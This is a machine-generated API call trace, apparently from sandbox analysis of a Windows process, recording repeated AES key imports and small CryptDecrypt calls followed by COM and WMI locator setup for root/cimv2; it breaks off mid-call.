1 [0146.983] CryptContextAddRef (hProv=0xf3a8d8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0146.997] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x18f27c | out: pfEnabled=0x18f27c) returned 0x0 [0147.013] CryptContextAddRef (hProv=0xf3a8d8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.014] CryptDuplicateKey (in: hKey=0xf30798, pdwReserved=0x0, dwFlags=0x0, phKey=0x18f24c | out: phKey=0x18f24c*=0xf30998) returned 1 [0147.014] CryptContextAddRef (hProv=0xf3a8d8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.014] CryptSetKeyParam (hKey=0xf30998, dwParam=0x4, pbData=0x27a3c28*=0x1, dwFlags=0x0) returned 1 [0147.014] CryptSetKeyParam (hKey=0xf30998, dwParam=0x1, pbData=0x27a3bf4, dwFlags=0x0) returned 1 [0147.018] CryptDecrypt (in: hKey=0xf30998, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27a3d08, pdwDataLen=0x18f28c | out: pbData=0x27a3d08, pdwDataLen=0x18f28c) returned 1 [0147.034] CryptDecrypt (in: hKey=0xf30998, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27a3e14, pdwDataLen=0x18f28c | out: pbData=0x27a3e14, pdwDataLen=0x18f28c) returned 0 [0147.035] CryptDestroyKey (hKey=0xf30798) returned 1 [0147.035] CryptReleaseContext (hProv=0xf3a8d8, dwFlags=0x0) returned 1 [0147.035] CryptReleaseContext (hProv=0xf3a8d8, dwFlags=0x0) returned 1 [0147.035] CryptAcquireContextW (in: phProv=0x18f28c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f28c*=0xf39f48) returned 1 [0147.036] CryptImportKey (in: hProv=0xf39f48, pbData=0x27a4870*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x18f25c | out: phKey=0x18f25c*=0xf30358) returned 1 [0147.036] CryptContextAddRef (hProv=0xf39f48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.037] CryptContextAddRef (hProv=0xf39f48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.037] CryptDuplicateKey (in: hKey=0xf30358, pdwReserved=0x0, dwFlags=0x0, phKey=0x18f24c | out: phKey=0x18f24c*=0xf306d8) returned 1 [0147.037] CryptContextAddRef (hProv=0xf39f48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.037] CryptSetKeyParam (hKey=0xf306d8, dwParam=0x4, pbData=0x27a4fb8*=0x1, dwFlags=0x0) returned 1 [0147.037] CryptSetKeyParam (hKey=0xf306d8, dwParam=0x1, pbData=0x27a4f84, dwFlags=0x0) returned 1 [0147.037] CryptDecrypt (in: hKey=0xf306d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27a5098, pdwDataLen=0x18f28c | out: pbData=0x27a5098, pdwDataLen=0x18f28c) returned 1 [0147.037] CryptDecrypt (in: hKey=0xf306d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27a50c8, pdwDataLen=0x18f28c | out: pbData=0x27a50c8, pdwDataLen=0x18f28c) returned 0 [0147.037] CryptDestroyKey (hKey=0xf30358) returned 1 [0147.038] CryptReleaseContext (hProv=0xf39f48, dwFlags=0x0) returned 1 [0147.038] CryptReleaseContext (hProv=0xf39f48, dwFlags=0x0) returned 1 [0147.038] CryptAcquireContextW (in: phProv=0x18f28c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f28c*=0xf3a300) returned 1 [0147.038] CryptImportKey (in: hProv=0xf3a300, pbData=0x27a5240*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x18f25c | out: phKey=0x18f25c*=0xf309d8) returned 1 [0147.038] CryptContextAddRef (hProv=0xf3a300, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.039] CryptContextAddRef (hProv=0xf3a300, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.039] CryptDuplicateKey (in: hKey=0xf309d8, pdwReserved=0x0, dwFlags=0x0, phKey=0x18f24c | out: phKey=0x18f24c*=0xf303d8) returned 1 [0147.039] CryptContextAddRef (hProv=0xf3a300, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.039] CryptSetKeyParam (hKey=0xf303d8, dwParam=0x4, pbData=0x27a59e8*=0x1, dwFlags=0x0) returned 1 [0147.039] CryptSetKeyParam (hKey=0xf303d8, dwParam=0x1, pbData=0x27a59b4, dwFlags=0x0) returned 1 [0147.039] CryptDecrypt (in: hKey=0xf303d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27a5aec, pdwDataLen=0x18f25c | out: pbData=0x27a5aec, pdwDataLen=0x18f25c) returned 1 [0147.039] CryptDecrypt (in: hKey=0xf303d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27a5b44, pdwDataLen=0x18f28c | out: pbData=0x27a5b44, pdwDataLen=0x18f28c) returned 1 [0147.039] CryptDecrypt (in: hKey=0xf303d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27a5b70, pdwDataLen=0x18f28c | out: pbData=0x27a5b70, pdwDataLen=0x18f28c) returned 0 [0147.039] CryptDestroyKey (hKey=0xf309d8) returned 1 [0147.039] CryptReleaseContext (hProv=0xf3a300, dwFlags=0x0) returned 1 [0147.040] CryptReleaseContext (hProv=0xf3a300, dwFlags=0x0) returned 1 [0147.040] CryptAcquireContextW (in: phProv=0x18f28c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f28c*=0xf39fd0) returned 1 [0147.040] CryptImportKey (in: hProv=0xf39fd0, pbData=0x27a5d18*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x18f25c | out: phKey=0x18f25c*=0xf30758) returned 1 [0147.040] CryptContextAddRef (hProv=0xf39fd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.041] CryptContextAddRef (hProv=0xf39fd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.041] CryptDuplicateKey (in: hKey=0xf30758, pdwReserved=0x0, dwFlags=0x0, phKey=0x18f24c | out: phKey=0x18f24c*=0xf30518) returned 1 [0147.041] CryptContextAddRef (hProv=0xf39fd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.041] CryptSetKeyParam (hKey=0xf30518, dwParam=0x4, pbData=0x27a6460*=0x1, dwFlags=0x0) returned 1 [0147.041] CryptSetKeyParam (hKey=0xf30518, dwParam=0x1, pbData=0x27a642c, dwFlags=0x0) returned 1 [0147.041] CryptDecrypt (in: hKey=0xf30518, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27a6540, pdwDataLen=0x18f28c | out: pbData=0x27a6540, pdwDataLen=0x18f28c) returned 1 [0147.041] CryptDecrypt (in: hKey=0xf30518, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27a6570, pdwDataLen=0x18f28c | out: pbData=0x27a6570, pdwDataLen=0x18f28c) returned 0 [0147.042] CryptDestroyKey (hKey=0xf30758) returned 1 [0147.042] CryptReleaseContext (hProv=0xf39fd0, dwFlags=0x0) returned 1 [0147.042] CryptReleaseContext (hProv=0xf39fd0, dwFlags=0x0) returned 1 [0147.042] CryptAcquireContextW (in: phProv=0x18f28c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f28c*=0xf39db0) returned 1 [0147.042] CryptImportKey (in: hProv=0xf39db0, pbData=0x27a66c8*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x18f25c | out: phKey=0x18f25c*=0xf309d8) returned 1 [0147.042] CryptContextAddRef (hProv=0xf39db0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.043] CryptContextAddRef (hProv=0xf39db0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.043] CryptDuplicateKey (in: hKey=0xf309d8, pdwReserved=0x0, dwFlags=0x0, phKey=0x18f24c | out: phKey=0x18f24c*=0xf30798) returned 1 [0147.043] CryptContextAddRef (hProv=0xf39db0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.043] CryptSetKeyParam (hKey=0xf30798, dwParam=0x4, pbData=0x27a6e10*=0x1, dwFlags=0x0) returned 1 [0147.043] CryptSetKeyParam (hKey=0xf30798, dwParam=0x1, pbData=0x27a6ddc, dwFlags=0x0) returned 1 [0147.043] CryptDecrypt (in: hKey=0xf30798, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27a6ef0, pdwDataLen=0x18f28c | out: pbData=0x27a6ef0, pdwDataLen=0x18f28c) returned 1 [0147.043] CryptDecrypt (in: hKey=0xf30798, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27a6f24, pdwDataLen=0x18f28c | out: pbData=0x27a6f24, pdwDataLen=0x18f28c) returned 0 [0147.043] CryptDestroyKey (hKey=0xf309d8) returned 1 [0147.043] CryptReleaseContext (hProv=0xf39db0, dwFlags=0x0) returned 1 [0147.043] CryptReleaseContext (hProv=0xf39db0, dwFlags=0x0) returned 1 [0147.043] CryptAcquireContextW (in: phProv=0x18f28c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f28c*=0xf39ec0) returned 1 [0147.044] CryptImportKey (in: hProv=0xf39ec0, pbData=0x27a7098*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x18f25c | out: phKey=0x18f25c*=0xf30558) returned 1 [0147.044] CryptContextAddRef (hProv=0xf39ec0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.044] CryptContextAddRef (hProv=0xf39ec0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.045] CryptDuplicateKey (in: hKey=0xf30558, pdwReserved=0x0, dwFlags=0x0, phKey=0x18f24c | out: phKey=0x18f24c*=0xf30a58) returned 1 [0147.045] CryptContextAddRef (hProv=0xf39ec0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.045] CryptSetKeyParam (hKey=0xf30a58, dwParam=0x4, pbData=0x27a77f0*=0x1, dwFlags=0x0) returned 1 [0147.045] CryptSetKeyParam (hKey=0xf30a58, dwParam=0x1, pbData=0x27a77bc, dwFlags=0x0) returned 1 [0147.045] CryptDecrypt (in: hKey=0xf30a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27a78d4, pdwDataLen=0x18f25c | out: pbData=0x27a78d4, pdwDataLen=0x18f25c) returned 1 [0147.045] CryptDecrypt (in: hKey=0xf30a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27a791c, pdwDataLen=0x18f28c | out: pbData=0x27a791c, pdwDataLen=0x18f28c) returned 1 [0147.045] CryptDecrypt (in: hKey=0xf30a58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27a7950, pdwDataLen=0x18f28c | out: pbData=0x27a7950, pdwDataLen=0x18f28c) returned 0 [0147.045] CryptDestroyKey (hKey=0xf30558) returned 1 [0147.045] CryptReleaseContext (hProv=0xf39ec0, dwFlags=0x0) returned 1 [0147.045] CryptReleaseContext (hProv=0xf39ec0, dwFlags=0x0) returned 1 [0147.045] CryptAcquireContextW (in: phProv=0x18f28c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f28c*=0xf39a80) returned 1 [0147.046] CryptImportKey (in: hProv=0xf39a80, pbData=0x27a7af8*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x18f25c | out: phKey=0x18f25c*=0xf305d8) returned 1 [0147.046] CryptContextAddRef (hProv=0xf39a80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.047] CryptContextAddRef (hProv=0xf39a80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.047] CryptDuplicateKey (in: hKey=0xf305d8, pdwReserved=0x0, dwFlags=0x0, phKey=0x18f24c | out: phKey=0x18f24c*=0xf307d8) returned 1 [0147.047] CryptContextAddRef (hProv=0xf39a80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.047] CryptSetKeyParam (hKey=0xf307d8, dwParam=0x4, pbData=0x27a8250*=0x1, dwFlags=0x0) returned 1 [0147.047] CryptSetKeyParam (hKey=0xf307d8, dwParam=0x1, pbData=0x27a821c, dwFlags=0x0) returned 1 [0147.047] CryptDecrypt (in: hKey=0xf307d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27a8334, pdwDataLen=0x18f25c | out: pbData=0x27a8334, pdwDataLen=0x18f25c) returned 1 [0147.047] CryptDecrypt (in: hKey=0xf307d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27a837c, pdwDataLen=0x18f28c | out: pbData=0x27a837c, pdwDataLen=0x18f28c) returned 1 [0147.047] CryptDecrypt (in: hKey=0xf307d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27a83a4, pdwDataLen=0x18f28c | out: pbData=0x27a83a4, pdwDataLen=0x18f28c) returned 0 [0147.047] CryptDestroyKey (hKey=0xf305d8) returned 1 [0147.047] CryptReleaseContext (hProv=0xf39a80, dwFlags=0x0) returned 1 [0147.047] CryptReleaseContext (hProv=0xf39a80, dwFlags=0x0) returned 1 [0147.048] CryptAcquireContextW (in: phProv=0x18f28c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f28c*=0xf3a388) returned 1 [0147.048] CryptImportKey (in: hProv=0xf3a388, pbData=0x27a8518*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x18f25c | out: phKey=0x18f25c*=0xf305d8) returned 1 [0147.048] CryptContextAddRef (hProv=0xf3a388, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.049] CryptContextAddRef (hProv=0xf3a388, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.049] CryptDuplicateKey (in: hKey=0xf305d8, pdwReserved=0x0, dwFlags=0x0, phKey=0x18f24c | out: phKey=0x18f24c*=0xf30898) returned 1 [0147.049] CryptContextAddRef (hProv=0xf3a388, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.049] CryptSetKeyParam (hKey=0xf30898, dwParam=0x4, pbData=0x27a8c60*=0x1, dwFlags=0x0) returned 1 [0147.049] CryptSetKeyParam (hKey=0xf30898, dwParam=0x1, pbData=0x27a8c2c, dwFlags=0x0) returned 1 [0147.050] CryptDecrypt (in: hKey=0xf30898, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27a8d40, pdwDataLen=0x18f28c | out: pbData=0x27a8d40, pdwDataLen=0x18f28c) returned 1 [0147.050] CryptDecrypt (in: hKey=0xf30898, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27a8d6c, pdwDataLen=0x18f28c | out: pbData=0x27a8d6c, pdwDataLen=0x18f28c) returned 0 [0147.050] CryptDestroyKey (hKey=0xf305d8) returned 1 [0147.050] CryptReleaseContext (hProv=0xf3a388, dwFlags=0x0) returned 1 [0147.050] CryptReleaseContext (hProv=0xf3a388, dwFlags=0x0) returned 1 [0147.405] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2d4 [0147.406] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2a4 [0147.424] SetEvent (hEvent=0x2a4) returned 1 [0147.457] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x18e35c*=0x2d4, lpdwindex=0x18e17c | out: lpdwindex=0x18e17c) returned 0x0 [0147.570] CoGetContextToken (in: pToken=0x18e228 | out: pToken=0x18e228) returned 0x0 [0147.570] CoGetContextToken (in: pToken=0x18e188 | out: pToken=0x18e188) returned 0x0 [0147.570] WbemDefPath:IUnknown:QueryInterface (in: This=0xf6dc98, riid=0x18e258*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x18e254 | out: ppvObject=0x18e254*=0xf6dc98) returned 0x0 [0147.570] WbemDefPath:IUnknown:AddRef (This=0xf6dc98) returned 0x3 [0147.570] WbemDefPath:IUnknown:Release (This=0xf6dc98) returned 0x2 [0147.574] WbemDefPath:IWbemPath:SetText (This=0xf6dc98, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0147.575] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0xf6dc98, puCount=0x18eadc | out: puCount=0x18eadc*=0x2) returned 0x0 [0147.575] WbemDefPath:IWbemPath:GetText (in: This=0xf6dc98, lFlags=4, puBuffLength=0x18ead8*=0x0, pszText=0x0 | out: puBuffLength=0x18ead8*=0xf, pszText=0x0) returned 0x0 [0147.576] WbemDefPath:IWbemPath:GetText (in: This=0xf6dc98, lFlags=4, puBuffLength=0x18ead8*=0xf, pszText="00000000000000" | out: puBuffLength=0x18ead8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0147.610] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x18e984*=0x36c, lpdwindex=0x18e834 | out: lpdwindex=0x18e834) returned 0x0 [0149.352] CoGetContextToken (in: pToken=0x18e748 | out: pToken=0x18e748) returned 0x0 [0149.352] CoGetContextToken (in: pToken=0x18e6f0 | out: pToken=0x18e6f0) returned 0x0 [0149.352] IUnknown:QueryInterface (in: This=0xf21110, riid=0x6f17da0c*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e6cc | out: ppvObject=0x18e6cc*=0xf21120) returned 0x0 [0149.353] CObjectContext::ContextCallback () returned 0x0 [0149.364] IUnknown:Release (This=0xf21120) returned 0x1 [0149.365] CoUnmarshalInterface (in: pStm=0xf8c688, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18e73c | out: ppv=0x18e73c*=0xf93b48) returned 0x0 [0149.365] CoMarshalInterface (pStm=0xf8c688, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0xf93b48, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0149.366] WbemLocator:IUnknown:QueryInterface (in: This=0xf93b48, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e5dc | out: ppvObject=0x18e5dc*=0xf93b48) returned 0x0 [0149.366] WbemLocator:IUnknown:QueryInterface (in: This=0xf93b48, riid=0x6f209c98*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x18e598 | out: ppvObject=0x18e598*=0x0) returned 0x80004002 [0149.367] WbemLocator:IUnknown:QueryInterface (in: This=0xf93b48, riid=0x6f209bb4*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x18e3b4 | out: ppvObject=0x18e3b4*=0x0) returned 0x80004002 [0149.367] WbemLocator:IUnknown:QueryInterface (in: This=0xf93b48, riid=0x6f209c88*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x18e18c | out: ppvObject=0x18e18c*=0x0) returned 0x80004002 [0149.368] WbemLocator:IUnknown:AddRef (This=0xf93b48) returned 0x3 [0149.368] WbemLocator:IUnknown:QueryInterface (in: This=0xf93b48, riid=0x6f2098cc*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x18deec | out: ppvObject=0x18deec*=0x0) returned 0x80004002 [0149.368] WbemLocator:IUnknown:QueryInterface (in: This=0xf93b48, riid=0x6f209820*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x18de9c | out: ppvObject=0x18de9c*=0x0) returned 0x80004002 [0149.368] WbemLocator:IUnknown:QueryInterface (in: This=0xf93b48, riid=0x6f0aa540*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18dea8 | out: ppvObject=0x18dea8*=0xf93aa4) returned 0x0 [0149.368] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0xf93aa4, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x18deb0 | out: pCid=0x18deb0*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0149.368] WbemLocator:IUnknown:Release (This=0xf93aa4) returned 0x3 [0149.369] CoGetContextToken (in: pToken=0x18df08 | out: pToken=0x18df08) returned 0x0 [0149.369] IUnknown:QueryInterface (in: This=0xf21058, riid=0x6f1638a4*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18dec4 | out: ppvObject=0x18dec4*=0xf21064) returned 0x0 [0149.369] IComThreadingInfo:GetCurrentApartmentType (in: This=0xf21064, pAptType=0x18def4 | out: pAptType=0x18def4*=3) returned 0x0 [0149.369] IUnknown:Release (This=0xf21064) returned 0x0 [0149.369] CoGetObjectContext (in: riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xf8885c | out: ppv=0xf8885c*=0xf21058) returned 0x0 [0149.369] CoGetContextToken (in: pToken=0x18e310 | out: pToken=0x18e310) returned 0x0 [0149.369] WbemLocator:IUnknown:QueryInterface (in: This=0xf93b48, riid=0x6f209b0c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e39c | out: ppvObject=0x18e39c*=0xf93b2c) returned 0x0 [0149.369] WbemLocator:IRpcOptions:Query (in: This=0xf93b2c, pPrx=0xf93b48, dwProperty=2, pdwValue=0x18e3a8 | out: pdwValue=0x18e3a8) returned 0x0 [0149.369] WbemLocator:IUnknown:Release (This=0xf93b2c) returned 0x3 [0149.370] WbemLocator:IUnknown:Release (This=0xf93b48) returned 0x2 [0149.370] WbemLocator:IUnknown:Release (This=0xf93b48) returned 0x1 [0149.370] CoGetContextToken (in: pToken=0x18e688 | out: pToken=0x18e688) returned 0x0 [0149.370] WbemLocator:IUnknown:AddRef (This=0xf93b48) returned 0x2 [0149.370] WbemLocator:IUnknown:QueryInterface (in: This=0xf93b48, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e93c | out: ppvObject=0x18e93c*=0xf93b24) returned 0x0 [0149.370] WbemLocator:IClientSecurity:QueryBlanket (in: This=0xf93b24, pProxy=0xf93b48, pAuthnSvc=0x18e98c, pAuthzSvc=0x18e988, pServerPrincName=0x18e980, pAuthnLevel=0x18e984, pImpLevel=0x18e974, pAuthInfo=0x18e978, pCapabilites=0x18e97c | out: pAuthnSvc=0x18e98c*=0xa, pAuthzSvc=0x18e988*=0x0, pServerPrincName=0x18e980, pAuthnLevel=0x18e984*=0x6, pImpLevel=0x18e974*=0x2, pAuthInfo=0x18e978, pCapabilites=0x18e97c*=0x1) returned 0x0 [0149.370] WbemLocator:IUnknown:Release (This=0xf93b24) returned 0x2 [0149.370] WbemLocator:IUnknown:QueryInterface (in: This=0xf93b48, riid=0x6bb51224*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e930 | out: ppvObject=0x18e930*=0xf93b48) returned 0x0 [0149.370] WbemLocator:IUnknown:QueryInterface (in: This=0xf93b48, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e91c | out: ppvObject=0x18e91c*=0xf93b24) returned 0x0 [0149.371] WbemLocator:IClientSecurity:SetBlanket (This=0xf93b24, pProxy=0xf93b48, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0149.371] WbemLocator:IUnknown:Release (This=0xf93b24) returned 0x3 [0149.371] WbemLocator:IUnknown:Release (This=0xf93b48) returned 0x2 [0149.371] CoTaskMemFree (pv=0xf8f830) [0149.371] WbemLocator:IUnknown:Release (This=0xf93b48) returned 0x1 [0149.371] SysStringLen (param_1=0x0) returned 0x0 [0149.371] CoGetContextToken (in: pToken=0x18e8f8 | out: pToken=0x18e8f8) returned 0x0 [0149.371] CoGetContextToken (in: pToken=0x18e858 | out: pToken=0x18e858) returned 0x0 [0149.371] WbemLocator:IUnknown:QueryInterface (in: This=0xf93b48, riid=0x18e928*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x18e924 | out: ppvObject=0x18e924*=0xf27c60) returned 0x0 [0149.372] WbemLocator:IUnknown:AddRef (This=0xf27c60) returned 0x3 [0149.372] WbemLocator:IUnknown:Release (This=0xf27c60) returned 0x2 [0149.372] CoGetContextToken (in: pToken=0x18e8b8 | out: pToken=0x18e8b8) returned 0x0 [0149.372] WbemLocator:IUnknown:AddRef (This=0xf27c60) returned 0x3 [0149.372] WbemLocator:IUnknown:QueryInterface (in: This=0xf27c60, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e93c | out: ppvObject=0x18e93c*=0xf93b24) returned 0x0 [0149.373] WbemLocator:IClientSecurity:QueryBlanket (in: This=0xf93b24, pProxy=0xf27c60, pAuthnSvc=0x18e98c, pAuthzSvc=0x18e988, pServerPrincName=0x18e980, pAuthnLevel=0x18e984, pImpLevel=0x18e974, pAuthInfo=0x18e978, pCapabilites=0x18e97c | out: pAuthnSvc=0x18e98c*=0xa, pAuthzSvc=0x18e988*=0x0, pServerPrincName=0x18e980, pAuthnLevel=0x18e984*=0x6, pImpLevel=0x18e974*=0x2, pAuthInfo=0x18e978, pCapabilites=0x18e97c*=0x1) returned 0x0 [0149.373] WbemLocator:IUnknown:Release (This=0xf93b24) returned 0x3 [0149.373] WbemLocator:IUnknown:QueryInterface (in: This=0xf27c60, riid=0x6bb51224*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e930 | out: ppvObject=0x18e930*=0xf93b48) returned 0x0 [0149.373] WbemLocator:IUnknown:QueryInterface (in: This=0xf27c60, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e91c | out: ppvObject=0x18e91c*=0xf93b24) returned 0x0 [0149.373] WbemLocator:IClientSecurity:SetBlanket (This=0xf93b24, pProxy=0xf27c60, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, 